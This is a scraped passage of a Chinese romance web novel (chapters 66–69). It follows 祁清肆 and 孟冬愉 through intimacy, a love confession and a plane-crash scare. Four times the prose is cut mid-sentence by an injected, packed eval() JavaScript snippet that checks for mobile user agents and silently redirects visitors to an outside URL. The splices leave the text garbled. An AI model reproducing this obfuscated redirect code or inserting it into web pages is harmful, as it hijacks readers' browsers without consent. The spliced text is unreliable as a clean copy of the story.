没再等她问些什么,祁清肆弯腰把她从地毯上捞起来,抱坐到他的腿上。 他视线直勾勾落在她的唇上,语气带着点不容拒绝:“能不能让我亲一下再忙?” 孟冬愉失笑,胳膊环上他的脖颈,凑过去主动吻他。 唇齿相交,祁清肆快速将主动权讨了回来,由浅入深,一步一步攻城略池。 不知过了多久,孟冬愉才迷迷糊糊地被他松开。 大脑发懵,呼吸不顺,身体也软得一塌糊涂,唇瓣还隐隐作痛。 她再次丧失了对身体的支配权,只能伏在他的肩头机械地呼吸。 祁清肆偏头吻了吻她的耳朵,又用牙齿磨了下她的耳垂,哑哑地笑:“怎么这么不经亲啊?姐姐。” 孟冬愉缓了好一会儿,才有些恼地问他:“你真没谈过?” 祁清肆把她身体扶正,带着点对她的质疑的不满,凑过去咬了咬她的唇瓣:“现在不是在谈?” 孟冬愉:“……” 明明知道她问得不是这个意思。 也不是真的怀疑他之前谈过什么。 毕竟昨晚他第一次吻她时,能明显感觉到没什么技巧性,像是小狗乱啃一样。 她只是有些好奇,他怎么突然之间进步这么大? 像是看出了她心中所想,祁清肆勾起唇角,悠悠开口:“今天闲着没事儿,特意在网上学了些技巧。” 孟冬愉惊讶:“学?” “嗯。”祁清肆理所当然地点头,又凑过去在她唇上啄了啄,“没经验,不得学?” 他意味深长地看着她:“本想着等你来教,没想到你也不会。” 突然被否定,孟冬愉好胜心燃起:“我怎么不会了?” 祁清肆视线落在她有些红肿的唇上,有点激将的意思:“那再亲一次?” 孟冬愉最终没入他的圈套,恼羞成怒地瞪了他一眼,从他腿上下来,继续去工作。 祁清肆也跟着她坐到地毯上,从身后环住她的腰,亲了亲她的脖颈,又把下巴搭在她的肩上,看着她在键盘上飞快地敲敲打打。 被人从身后拥着,耳畔又是他均匀的呼吸声,饶是孟冬愉专注力再高,也不可能不分神。 在批注上打错了好几个字之后,孟冬愉轻轻叹了口气,合上了电脑。 她偏头看他,他不知道什么时候闭上了眼睛,密长的睫毛遮挡了眼下淡淡的乌青。 昨晚睡得本就晚,今天早上她还没醒,他就起了床。 今天一天,她都忘了问他睡没睡好。 应该是感受到了她的动静,祁清肆缓缓睁开了眼:“怎么了?” 孟冬愉看了眼沙发的长度,转过身来,摸了摸他的眼睑:“你昨晚是不是没睡好?” 祁清肆闭上眼睛蹭了蹭她的手指,神色带着点困倦:“嗯,没怎么睡。” 沙发说是两米长,但是掐头去尾,内侧的长度顶多一米八。 孟冬愉向他确认:“是不是沙发太短了?” “还好。”祁清肆把腿敞开,揽着她的肩膀把她往怀里带了带,下巴再次抵在她的肩上,懒懒地应声,“主要是睡不着。” 孟冬愉回抱住他:“为什么睡不着?” 祁清肆闭着眼睛笑了声:“满脑子都是你。” 脑海里再次浮现出昨晚他迷离又难耐的神色,孟冬愉犹豫了一下,还是问道:“祁清肆,你今晚要不要来床上睡?” 祁清肆闻言把头抬起,视线落到她平静的脸上之后,又摇头拒绝:“我会忍不住。” 孟冬愉仰头亲了亲他的唇角,又直白地望向他的眼睛:“不用忍。” 明确了她的意思,祁清肆身体僵了一下,嗓音几乎是一瞬间变哑:“不工作了?” 孟冬愉咬了咬嘴唇,点头:“嗯。” 祁清肆抬手摸了摸她泛着血色的唇瓣,似乎有些紧张:“是不是得先去洗漱?” 孟冬愉笑着环上他的脖子:“可以一起。” 周遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755786|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静了几秒,呼吸声却越来越重。 祁清肆喉结滚了又滚,最后单手护着她的头,坐着把她抵在茶几上,和她接吻。 仿佛乱了方寸,这次的吻再次没了技巧性,只是出于人体本能的吸吮啃咬。 在口腔内把她的氧气尽数侵夺,密密麻麻的吻又顺着唇角往下移。 空着的那只手生疏地顺着她的背向下游走,最后落在她的腰间,细细摩挲。 孟冬愉本能地扬起脖颈去迎合,大脑混沌之际,小腹处却浮出隐隐的痛意,一股热流随之涌出。 她猛地清醒,双手托起他的头:“祁清肆,我生理期……好像真的提前了。” 祁清肆怔怔看着她,反应了片刻,才听懂她说了些什么。 他扯起唇角笑了声,把她扶起,帮她理了理衣服,又把她紧紧地抱在怀中。 等两人都调整好呼吸,祁清肆才松开了手,吻了吻她的额头,提醒道:“去确认一下。” 本来就要洗漱,孟冬愉索性拿着换洗的衣物一同进了洗手间。 洗漱好出来的时候,祁清肆正倚在门口的墙上等她。 他低着头,嘴巴里咬了根没点燃的烟,不知道在想些什么。 孟冬愉浴帽摘下来,理了理头发,偏头看他:“我卧室有打火机。” 祁清肆垂眼笑了笑,把烟从唇上拿下,嗓音还泛着哑:“没打算抽。” 知道他在压着什么,孟冬愉有些愧疚地亲了亲他的唇角,向他解释:“我不是故意的,我真不知道会提前。” 祁清肆闭眼点了点头,哼笑:“知道。” 孟冬愉视线下移:“那你……也去洗漱吧。” 察觉的她的视线落在何处,祁清肆抬手勾起她的下巴,低头咬她。 唇瓣上传来阵痛,孟冬愉并没怎么在意,她摸着他发烫的耳朵,笑道:“你怎么这么容易害羞啊?” 祁清肆把她的手拿下,否认:“不是害羞。” 孟冬愉视线再次向下移:“那为什么不让看?” 祁清肆揽着她的腰把她往身上带了带:“你说呢?” 孟冬愉佯装不懂地眨了眨眼睛:“我不知道。” 祁清肆猛地翻身把她抵在墙上,牙齿磨了磨她的耳垂:“会变更石更,宝宝。” 本就是调情般的暗示,他又故意加重了语调,嗓音低哑又勾人,一字一句地落入她的耳中。 加上落在耳朵上的触感,孟冬愉感觉双腿又开始酸软。 每次和他周旋,总是让他占据上风,这让孟冬愉有些挫败。 她攀上他的脖颈,不服输:“那我想看怎么办?” 祁清肆耳朵红透,眸光又沉了几分,盯着她看了许久,最后闭了闭眼,认输。 他把她打横抱起,放到床上,帮她掖好被子,又吻了吻她的额头:“早点睡,晚安。” 孟冬愉扬声喊住他:“你睡哪儿?” 祁清肆回头:“我睡沙发。” 孟冬愉掀开背角,带着点撒娇的意味:“可我想让你陪我睡。” 祁清肆见状愣了好久,而后唇角一点点上扬,声音却有点哽咽:“孟冬愉,你……能不能再重复一遍?” 67. 剖析 等祁清肆洗漱好,躺到床上来的时候,孟冬愉不解地问他:“为什么要我再重复一遍?” 祁清肆紧了紧圈着她的胳膊,温声解释:“这是你第一次说,你想让我做些什么。” 孟冬愉没怎么听明白,她复述他的话:“我想让你?” “嗯。”祁清肆点头,又凑过去吻了吻她的唇角,“我之前说过,希望你能向我索取。” 刚在一起那几天,他确实说过—— 不知道怎么回应他的时候,就向他索取。 要他牵她,要他抱她,要他亲她…… 后来孟冬愉不知道怎么去回应他的时候,也按照他这么说的做过。 去抱他,去亲他。 孟冬愉顺着他的话应声:“我记得。” 像是看出了她依旧没听明白,祁清肆盯着她的眼睛,接着说:“你主动亲我抱我,我都很开心,这也是奖励,但是,这不是索取。” “我还是更想你说——‘你想让我’。” 他在“你想让我”这几个字上加重咬字:“你想让我亲你,你想让我抱你,你想让我陪你睡觉……” 孟冬愉觉得他有些咬文嚼字:“这不一样吗?” “不一样。”祁清肆摇头,把她脸上的碎发撩至耳后,又轻轻摩挲着她的脸颊。 许久之后,他才缓缓开口:“我知道,你没有安全感,你害怕对人产生依赖,害怕把伤口全部揭露给人看之后,某天会有人利用这些,去刺痛你。” “向他人毫无保留地袒露真心,本来就是一场赌注。你会害怕,会对人保持警惕,会想着以后能够利落抽身,这很正常,我也不会勉强些什么。” 他停顿了一下,垂眼笑了笑:“但是,我心底里还是希望,无论你遇到什么事情,都会第一时间想到我,会想让我为你做些什么。” “我还是想让你觉得,我是一个可靠的人,你可以大胆地向我索取,可以对我产生依赖。” 他的剖析每一句都准确无误地敲击着她的心脏。 孟冬愉终于觉得,眼前的人和想象中的载酒融合到了一起。 得有强大的共情能力和敏锐的洞察力,才能写出让无数人产生共鸣的歌。 他表面上再怎么样,骨子里就是一个细腻又温柔的人。 孟冬愉习惯性给人贴标签,喜欢通过表面看到的,用一两个形容词去定义一个人。 她起初觉得祁清肆吊儿郎当、玩世不恭,后来又觉得他心肠好,爱多管闲事。 再后来又觉得他有责任感,是个不错的人。 谈了恋爱之后,有时候又觉得他粘人幼稚。 这些所有关于他的形容词,其实都和她想象中的载酒扯不上任何关系。 这也是他露出了那么多破绽,她都没有把他和载酒联系到一起的原因。 就连知道了他的真实身份之后,她也常常有种割裂感。 现在却忽然间明白了—— 每个人都是三维的,是立体的,是独一无二的,都有着属于自己的个性。 是不能够用表面看到一两个词去概括的。 虽然他行为上偶尔有着属于他年龄的幼稚和顽劣,但他绝不是表面上看起来的那种人。 他有着不属于他年纪的成熟思想和阅历,也有着不属于他表面上看起来的态度和见解。 孟冬愉忽地想起,他也对她说过,他没她想得那么没心没肺。 是的。 他有着大开大合的情绪,有着弱点和缺陷,是一个完整的、鲜活的人。 是用千千万万的形容词,都无法去定义的一个人。 直到这一刻,她好像才真正读懂了他。 名为“喜欢”的这个词,好像在往内心深处蔓延,生根发芽,而后疯狂生长。 孟冬愉环上他的脖子,带着渴望向他索取:“祁清肆,我想让你吻我。” 祁清肆翻身把她压在身下,对她的主动索取做出了猛烈的回应。 唇齿缠绵许久,孟冬愉喃喃出声:“祁清肆,我好像……” 她好像……要爱上他了。 可是“爱”这个词,却哽在她的喉咙处,讲不出来。 像是听懂了她要说的话,祁清肆顿了一下,眼尾开始泛红,他低头,一下一下咬着她的唇瓣,在眼泪落在她脸上的那一刻,终于应声:“孟冬愉,我也爱你。” 是什么时候对她产生这种情愫的呢? 其实他自己都不太清楚。 他写下的第一首歌爆火的那天,是他母亲去世的第八天。 那是他在极度压抑和痛苦之下创作出来的作品,为了凑钱把民宿买回来,把这首歌的版权低价卖出去时,从来没有想过,会有这么大的反响。 他一夜成名,各种邀约接到手软,粉丝也涌入一批又一批。 他的后台私信不断,但是从来没有人向孟冬愉一样,连续一个月,不间断地给他发消息。 不是那种撩人的土味情话,而是情真意切地分享着自己积极的生活。 她说她在一个餐馆打暑假工,老板姐姐经常让她留下来吃饭,她做的饭菜很清淡很好吃。 她说收到了大学的录取通知书,封面红彤彤的,她很喜欢。 她说今天上菜时被客人的烟味呛到,被客人骂了一顿,老板姐姐为了替她报仇,上菜时偷偷顺走了客人的打火机。 她说终于赚够了上大学的学费,可以去找小姨了。 她说今天临城的太阳很好,忽然感觉也没什么过不去的坎。 …… 祁清肆一开始觉得她是一个很奇怪的人。 他们素未谋面,仅凭他创作的一首歌,她就事无巨细地把她的生活,分享给他。 慢慢地,他开始觉得她的絮絮叨叨有点可爱。 他开始期待她每天过来分享她的生活,唇角也会不自觉为她一些有趣的经历所扬起。 他望着南江炽热的太阳,也忽然觉得,要往前看。 后来,她消失了很长一段时间。 再回来时,已经是他创作的第三首歌上线。 那首歌是以租他房子的那位老太太为原型,创作出来的。 不知道是不是她听了之后有所共鸣,她向他讲了一部分她的经历和故事。 他当时面临着她突然回来的欣喜,又无端对她有些心疼。 再后来,可能是见她的消息全都石沉大海,她开始放心地把他当成了备忘录。 几点要去抢选修课。 某个比赛几号开始报名。 这周的家教推迟到了周几。 冬至那天别忘了买束向日葵回来。 …… 她还是这样坚强又勇敢的过着每一天。 他怀揣着对她的好感和好奇,考上了北传。 知道了她的名字,也见到了她本人。 她站在浑浑噩噩的人群中,清醒又努力地踮起脚尖,独自起舞。 像是一只漂亮的白天鹅,一次又一次地吸引着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765688|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光。 他不知道这是不是喜欢。 只觉得自己像个毛头小子一样,想要离她近一点,再近一点。 他一次又一次地和她制造偶遇。 可是她太专注了,目光从来没有落到过他身上一次。 她身边有一群像他这样,想要靠近她的人。 那些人被她一个个冷漠地拒绝掉,而后涌现出新一批这样的人。 这样周而复始地看着,他开始胆怯,开始丧失直面她的勇气。 她很快毕了业,入职一家还不错的公司。 他经常得了空,就偷偷跑去看她。 她还是像读书时那么拼命,每天起早贪黑,也终于一点点在职场中站稳了脚跟。 他大四那年,兴高采烈地跑去她的公司实习。 他以为自己终于有机会可以被她看到。 却没想到,最后的结果是,亲眼看到她,和一个并不比他强的实习生,谈起了恋爱。 他也有着自己的骄傲,安慰自己说又不是非她不可。 可他还是飞速办理了离职,毕业后就逃避似的回了南江。 她谈恋爱的这两年,没再给他的私信发过任何消息。 他之前一直觉得,痛苦或共情痛苦才是他创作的源泉。 但是这两年,他每天浑浑噩噩,却根本创作不出任何歌曲来。 直到她突然来了南江,再次出现在他的眼前。 …… 落在脸上的湿热,促使孟冬愉愣了一下。 她抬手摸了摸他的眼尾,轻轻叹了口气:“怎么又哭了?” 祁清肆把落在她脸上的泪抹干,翻身下来,把她紧紧地箍在怀中,带着重重的鼻音笑:“这次是高兴。” 没等孟冬愉问他在高兴些什么,他就换了话题:“肚子还痛不痛?” 温济民确实称得上妇科圣手,这几个月经过他开来的中药调理,生理期有规律了不少,小腹的胀痛也变得微不足道。 孟冬愉如实回答:“一点点。” 祁清肆闻言追问:“家里有没有暖宝宝或者热水袋?” “不用。”孟冬愉摇了摇头,试图去调节他的情绪,“你帮我揉揉就好。” 祁清肆低头亲了亲她带着笑意的眼睛,温热的手掌听话地落在了她的小腹上。 手掌轻轻地揉动,他想了一下,又问:“最近是不是没好好吃药?” 自从体验到了调理后的甜头,孟冬愉这些天,一顿药都不敢落下。 她这次没有任何心虚:“吃了。” “那为什么又提前了?”祁清肆有些怀疑,“前两个月还好好的。” 孟冬愉试图向他解释:“今天都十二号了,提前或推迟两三天,应该都是正常现象。” 祁清肆没再多问,开始想着安排后续的行程:“改天有空一起去复查,看看是不是可以调理下一项了。” 孟冬愉点头,看了他一会儿,又问道:“祁清肆,你妈妈应该是一个特别温柔和善良的人吧?” 一个人的品行,和他的家庭教养息息相关。 虽然能从祁清肆的身上看出和祁振强些许相似的性格,但祁清肆骨子里的细腻和温柔,绝对来自他的母亲。 孟冬愉一直好奇,究竟是怎样一个女性,在历经重重磨难之后,依旧愿意相信爱,也依旧会爱人。 “嗯。”祁清肆啄了啄她的唇角,笃定地应声,“如果她还在的话。” “你一定会非常喜欢她。” 68. 称呼 孟冬愉早上醒来的时候,祁清肆还在她身边睡着。 他侧躺着,一只胳膊被她压在颈下,另一只胳膊搭在她的腰间。 呼吸浅淡,眉目舒展,神色温驯,不带有任何防备。 第一次这么平静地、近距离地去打量他。 孟冬愉抬手去描摹他的眉骨,又去摸了摸他眼尾淡棕色的小痣。 这个小痣平日里不易察觉,但每次他眼尾泛红的时候,总是格外明显。 脑海中再次浮现出他落泪时的神色。 垂着眼皮,无辜,委屈,又可怜…… 她的动作打扰到了他,祁清肆闭着眼睛蹭了蹭她的手指,又把她捞入怀中,声音带着点没睡醒的倦意:“再睡一会儿。” 孟冬愉轻轻拍了拍他的胳膊,试图让他松开她:“我得起床上班了。” 祁清肆埋头在她怀里蹭了蹭,才不情愿地睁开了眼,带着点淡淡的起床气:“将来房子就买在你们公司旁边。” 孟冬愉闻言失笑,摸了摸他轻蹙起的眉心:“你平时不是起挺早的。” “今天怎么睡不醒啊?” “这得怪你。”祁清肆哼笑,“一夜把我吵醒了好几次。” 孟冬愉:“?” 她的睡相应该不差吧? 她还是试图确认:“我是踢被子了?还是说梦话了?” 祁清肆低头,在她唇上咬了一下,语调带着极大的不满:“每次刚抱了你一会儿,就被你无情地推开。” “好几次都险些被你——” 话说到一半就戛然而止,成功勾起了孟冬愉的好奇心。 她顺着他的话问:“被我怎么了?” 祁清肆神色不自然地避开她的视线,幽幽开口:“谋杀。” 孟冬愉忽地想起,半夜里迷迷糊糊好像做了一个梦,梦到她身上黏了个大火炉,热腾腾地,烤得她出汗。 她每次费了很大的力气才推开,结果没过多久又被黏了上来。 关键是黏上了来就黏上来吧,热一点也能忍。 但是感觉一直被什么东西硌着,她是真的难受。 于是她在梦里好几次都捉住了硌着她的罪魁祸首,试图甩开。 经他这么一说,孟冬愉才反应过来,原来……不是梦啊。 她有些恼羞成怒:“谁让你大半夜还……” 祁清肆清了清嗓子,理所当然地应声:“温软在怀,又不是我能控制的。” 孟冬愉:“那你睡得着?” 祁清肆垂眼看她,佯装委屈:“去洗了好几次澡。” 让他来床上的本意,就是想让他睡个好觉。 看着他眼睑下的青灰色,孟冬愉和他商量:“要不今晚我睡沙发吧。” “不要。”祁清肆想都没想就拒绝,把她抱得更紧了一点儿,而后闭上了眼,“想要补偿我,就再陪我睡一会儿。” 身体相贴,孟冬愉再次感受到他的异常:“可你现在又……” 祁清肆闻言笑了声,凑过去咬她的耳朵:“你当初恋爱怎么谈的?” “怎么这点儿常识都不知道啊?姐姐。” 孟冬愉把他推开,为自己辩解:“我又不知道会不会难受。” “嗯。难受。”祁清肆的语气听不出真假,不过应该已经没了睡意。 他埋头在她肩颈处吸了口气,喃喃地换了话题:“好香啊,宝宝。” 刚在一起的那一个月,祁清肆经常小狗一样,抱着她嗅来嗅去,说什么好香。 孟冬愉起初以为他喜欢的是香水的味道,她也拿给他闻了好几次,他都说不一样。 昨晚洗漱之后,早已经把香水的味道洗掉了。 孟冬愉不确信地偏头闻了闻,确实只是正常洗发水混着一丝沐浴露的味道。 他昨天也用了,身上也是这种味道。 孟冬愉不解:“哪儿香了?” 祁清肆鼻尖蹭了蹭她的脖子,也说不出个所以然:“不知道,就是很香。” 孟冬愉索性换了话题:“你最近怎么总是换称呼?” 祁清肆闻言从她肩颈处抬头:“我换什么称呼了?” 孟冬愉觉得连提醒都有点难以启齿:“你刚刚喊我……” 祁清肆佯装不懂:“喊你什么?” 孟冬愉闭着眼睛应声:“宝宝。” “怎么了?”祁清肆努力压着唇角,看似一脸无辜,“我听别人都这么喊。” 孟冬愉实话实说:“有点肉麻。” 祁清肆凑过去亲了亲她的唇角,眼中染着顽劣的笑意:“那你想听我喊你什么?” “老婆?太太?宝贝……” 他故意加重了咬字,又把尾音拖得很长。 听得孟冬愉心尖发颤,鸡皮疙瘩也跟着起了一身。 “还是喊我名字吧。”孟冬愉捂住他的嘴,生怕他误会什么似的,又补充,“除了你,也没什么人连名带姓地喊过我。” 祁清肆顺势咬了咬她的手指,完全没有听话的意思:“如果我想喊别的呢?” 没等孟冬愉应声,他故作委屈:“睡前还说爱我呢,醒了连声宝宝都不让喊。” 孟冬愉:“……” 戏精,幼稚鬼,无理取闹…… 她叹了口气,妥协:“我也没说不让。” 得到了满意的答案,祁清肆勾起唇角,仿佛对彼此的称谓来了兴致。 他接着问:“那你想喊我什么?” 孟冬愉径直应声:“喊你名字。” 祁清肆捉着她的手亲了亲,又用脸蹭了蹭,摇头:“我不想听。” 孟冬愉想了一下,挠了挠他的下巴,去逗他:“那喊你——” “小狗。” 祁清肆愣了愣,而后红着耳尖点头:“可以。” 孟冬愉对他的反应有些惊讶:“可以?” “上次不还不乐意吗?” “想通了。”祁清肆翻身把她压在身下,咬她,“我是孟冬愉的小狗。” …… 经过早起的一通谈话,孟冬愉再次卡着点去了公司。 倒真证实了卜晓晓口中“从此君王不早朝”的说法。 好在再上这一天班就到了周末,虽然周末也免不了需要居家处理些什么工作,但总归算是有了休息时间。 孟冬愉原本想着趁着周末,和祁清肆一起回一趟北传看看。 然而,不知道是洗了太多次冷水澡的缘故,还是突然来了北城水土不服。 祁清肆周五中午给她送饭的时候就有些感冒的症状,等她晚上下班回家,他已经开始发烧。 吃了退烧药并不见好转,第二天还从低烧转成了高烧。 于是周末的约会计划泡汤,孟冬愉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774154|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪他去了趟医院,回家之后,又寸步不离地守在床边照顾着。 祁清肆说她生理期抵抗力下降,怕传染给她,恨不得躲她躲得远远的,又一直坚持要去酒店住。 平日里的粘人精变成了冷漠的大冰块。 孟冬愉又好气又好笑。 不过祁清肆体质倒是不错,医院里挂完液之后,温度也渐渐退了下去。 赶在孟冬愉周一上班之前,基本上已经完全恢复。 孟冬愉在周一依旧卡着点下了班,回到家的时候,祁清肆已经做好饭菜等她。 饭桌上,祁清肆帮她夹了菜,忽地开口:“孟冬愉,我明天得回南江了。” 孟冬愉拿着筷子的手顿了一下,抬眼看他。 祁清肆接着解释:“游戏宣传曲的初版demo要在这周五之前给他们,我得回工作室一趟。” 孟冬愉垂头笑了笑,淡淡应声:“好。” 这几天,她一直沉浸在和他相处的甜蜜中,都快忘了,他的工作室在南江,满汀洲民宿也在南江。 他不可能一直留在北城,一直留在她这个小房子中。 他们终究是要像卜晓晓和她男朋友那样,异地好几年,等着有一方牺牲。 可她不想像卜晓晓那样,去做牺牲的一方。 像是看出了她的情绪不太对,祁清肆把她的椅子往他身边拉了拉,去揽她的腰:“还没走,就开始想我了?” 孟冬愉转过身来,捧着他的脸,和他认真商量:“那等周末,我就去南江找你。” 他说过,不能因为害怕结束,就避免一切开始。 虽然明知道结果会是什么样的,但是至少现在,她不想放弃。 祁清肆见状愣了一下,而后肩膀耸动,笑出了声:“这么严肃做什么?” “不用你来找我,这周末我就回来了。” 孟冬愉脱口而出:“回来?” 祁清肆啄了啄她的唇角,语气有些意味深长:“周六是冬至。” “回来和你一起吃饺子。” 明白了他误会了她话里的意思,孟冬愉试图解释:“我是说以后……” 话没说完,就被祁清肆打断。 他帮她盛了碗汤,漫不经心地开口:“先吃饭,以后的事情以后再说。” …… 祁清肆离开的这几天,孟冬愉再次恢复了工作狂模式。 祁清肆也就在落地南江那晚给她打了个视频,后面几天就像消失了一样,再无音讯。 孟冬愉倒是没怎么担心,毕竟她自己一旦进入专注状态,就很难被外界打扰。 他们这种艺术创作者,肯定更需要闭关。 时间一晃到了周五,孟冬愉也收到祁清肆发来航班的信息。 他说有些事情还没忙完,要等周六下午才能到北城。 周六这天,孟冬愉右眼一直突突地跳,她心底莫名感到恐慌。 从下午三点钟开始,她几乎每隔半个小时,就给祁清肆发一次消息。 一直等到下午六点,十几条消息全都没有回音。 她开始给他打电话,可听筒里却一次次传来相同的提示音—— 您所拨打的电话已关机…… 下午六点半,一条新闻冲上热搜—— 由南江飞往北城的北南航空JJJ航班,在乌城地坠毁,68人遇难。 69. 奖励 看到新闻热搜的那一瞬间,孟冬愉手一软,手机沿着桌角重重地摔落到地面。 她抖着手把手机捡起来,点开祁清肆给她发来的航班信息,再次确认。 头晕目眩,视线好像也变得不清晰。 孟冬愉努力把眼睛眨了又眨,终于在无数的重影中,看清了那一行字。 祁清肆:【北南航空JJJ航班,明天下午五点到北城。】 窗外一道耀眼的白光划破了天空中密布的乌云,顷刻间,预谋已久的大雨铺天盖地压下来。 北南航空JJJ航班,周六五点…… 全都对上了…… 孟冬愉大脑“嗡”地一声响起,全身的力气仿佛被抽尽,伴随着持久的耳鸣声,瘫软在地。 坠毁…… 遇难…… 怎么可能? 怎么可能呢? 他说好了要回来陪她过冬至,他说过不会言而无信的。 孟冬愉慌乱地捡起手机,浑身发抖地再次去拨他的电话。 听筒里的关机提示音,回荡在整个屋子。 门外忽地有敲门声传来,孟冬愉像是抓住了一丝希望,强撑着站起来,去开门。 外送员捧着一束鲜花,径直开口:“您好,请问这里是祁先生的家吗?” 看清楚来人,孟冬愉失望了一瞬,闻言又迫切地确认:“祁清肆?” 外送员看了眼订单,补充:“尾号3977,姓祁。” 孟冬愉努力控制住自己发抖的手,点头:“是他。” 外送员把手中的花递给她:“他订的花到了,麻烦您帮他签收一下。” 花束是用青绿色的包装纸,包裹着的九朵向日葵。 其中立着张卡片,写着——【冬至快乐。】 孟冬愉忽地想起,她大四那年和毕业后的前两年,每年冬至,都会收到一束向日葵。 同样的青绿色包装纸,同样的祝福语,却一直是匿名。 但当时她觉得来历不明,一直选择拒绝签收,拒绝不了就现场丢掉。 原来……原来都是他送的。 他一定是觉得她发现太晚了,在和她赌气。 所以才不接她电话,故意吓她。 一定是的。 一定是这样的。 孟冬愉没接,抓住外送员的胳膊,哽咽着问他:“他什么时候订的?” “一定是今天对不对?他早就来北城了,他在等着我主动去哄他是不是?” “女士,您冷静一点儿。”看出了她的情绪异常,外送员试图安抚,“他什么时候订的我不太清楚,只知道要今天下午送过来,我就是一直打不通他电话,才敲了门。” “如果你需要的话,我帮您问一下店家。” 打不通他电话…… 不是在和她赌气吗? 为什么别人也打不通他的电话? 最后一道防线彻底崩塌,孟冬愉崩溃地蹲在地上,泪水汹涌而出。 脑海中开始走马灯似的,回放着关于他的一切。 “你对谁都这么冷漠吗?” “行,不熟。” “你能不能别那么倔啊?” “如果我说有意思,你怎么办?” “我也会失落。” “我做不到。” “我是问,为什么总是忍着?” “勇敢一点,向我迈出这一步。” “你拿我当什么了?” “为什么就是不肯……看看我呢?” …… 他的喜怒哀乐早就和她息息相关,可她如今才真正感受到,被人牵扯住情绪的滋味。 绝望,无力,不知所措…… “女士,您怎么了?”外送员拿着花有些为难,“需要帮您联系一下亲戚朋友吗?” 孟冬愉仰起头,带着哭腔,无能为力地去求他:“你能不能……能不能让他亲自来送。” 话说完,她又绝望地摇了摇头:“不对,我不要花,我可以什么都不要……“ 她喉咙哽得快要喘不过气来:“我只要他好好的。” “我只要他好好地活着。” “不好意思,女士,我还有别的单要送,不能在这里留太久。” “一切都会好起来的,您别太伤心。”外送员看了眼时间,从口袋中摸了包纸巾出来,连同花束一起放在她身旁,而后下了楼。 一切都会好起来的? 她好像从来就没有好起来过。 孟冬愉垂头,自嘲地笑了笑,泪水却顺着弯起的眼角不停地往外涌。 上天总喜欢和她作对。 每次在她觉得快要熬出头时,总是会给她当头一棒。 在原地蹲到大腿发麻,眼泪也几乎快要流干。 理智稍许回笼,孟冬愉起身,试图回屋给祁振强或者童欣瑶打个电话。 起身的那一瞬间,大脑缺氧,孟冬愉踉跄了一下,视线朦胧中,好像看到了祁清肆上楼的身影。 她靠着墙壁撑住身体,拼命揉了揉眼睛—— 熟悉的人影快步跨过几层台阶,匆匆朝她走来。 他额头上蒙了一层薄汗,带着风尘仆仆,出现在她的眼前。 身体顺着墙壁滑落,干涸的泪腺再度运转,孟冬愉几乎一瞬间泣不成声。 祁清肆把她从地上捞起,将她紧紧地抱在怀里,哽着喉咙,低头去吻她的眼泪:“对不起孟冬愉,对不起……” 孟冬愉喉咙涩到讲不出话来,心底却拼了命地想要确认他的存在。 她任由眼泪麻木地往外涌,用尽了力气去咬了一下他的唇。 薄唇上留下牙印,又渗出血来。 祁清肆闷哼一声,扣住她的后脑勺,贴上她的唇,加深了这个吻。 铁锈味在两人口腔中蔓延,他哑着嗓子,一遍一遍地告诉她:“是我。” “我在。” 北风卷着雨水,呜咽着拍开了楼梯转角处的窗户。 冷风灌入,孟冬愉本能地瑟缩了一下。 祁清肆捡起地上的花,又单手把她打横抱起,进屋合上了门。 沙发上相拥而坐,祁清肆吻了吻她红肿的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781790|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,再次道歉:“对不起孟冬愉。” 虽然已经确认了不是在做梦,但心底害怕的劲头还没缓过来。 孟冬愉看着他,却不敢去问。 祁清肆捉住她还在发抖的手指,紧紧握着,缓缓开口解释:“工作室的搬迁,出了点纠纷。” “事情比较棘手,我改了航班,今天上午过来的,想着处理好就直接来找你,就没和你讲。” 大脑有些迟钝,孟冬愉吸了吸鼻子,没反应过来:“搬迁?” “嗯,搬来北城了。”祁清肆点了点头,又补充,“在你公司附近。” 他扯了扯唇角,神色带着点自责,“本想着给你一个惊喜,没想到变成了惊吓。” 再次想起被忙音一遍遍支配的恐惧,孟冬愉已经全然没心思去了解他搬迁的事情,她带着哭腔去问他:“为什么电话打不通?” 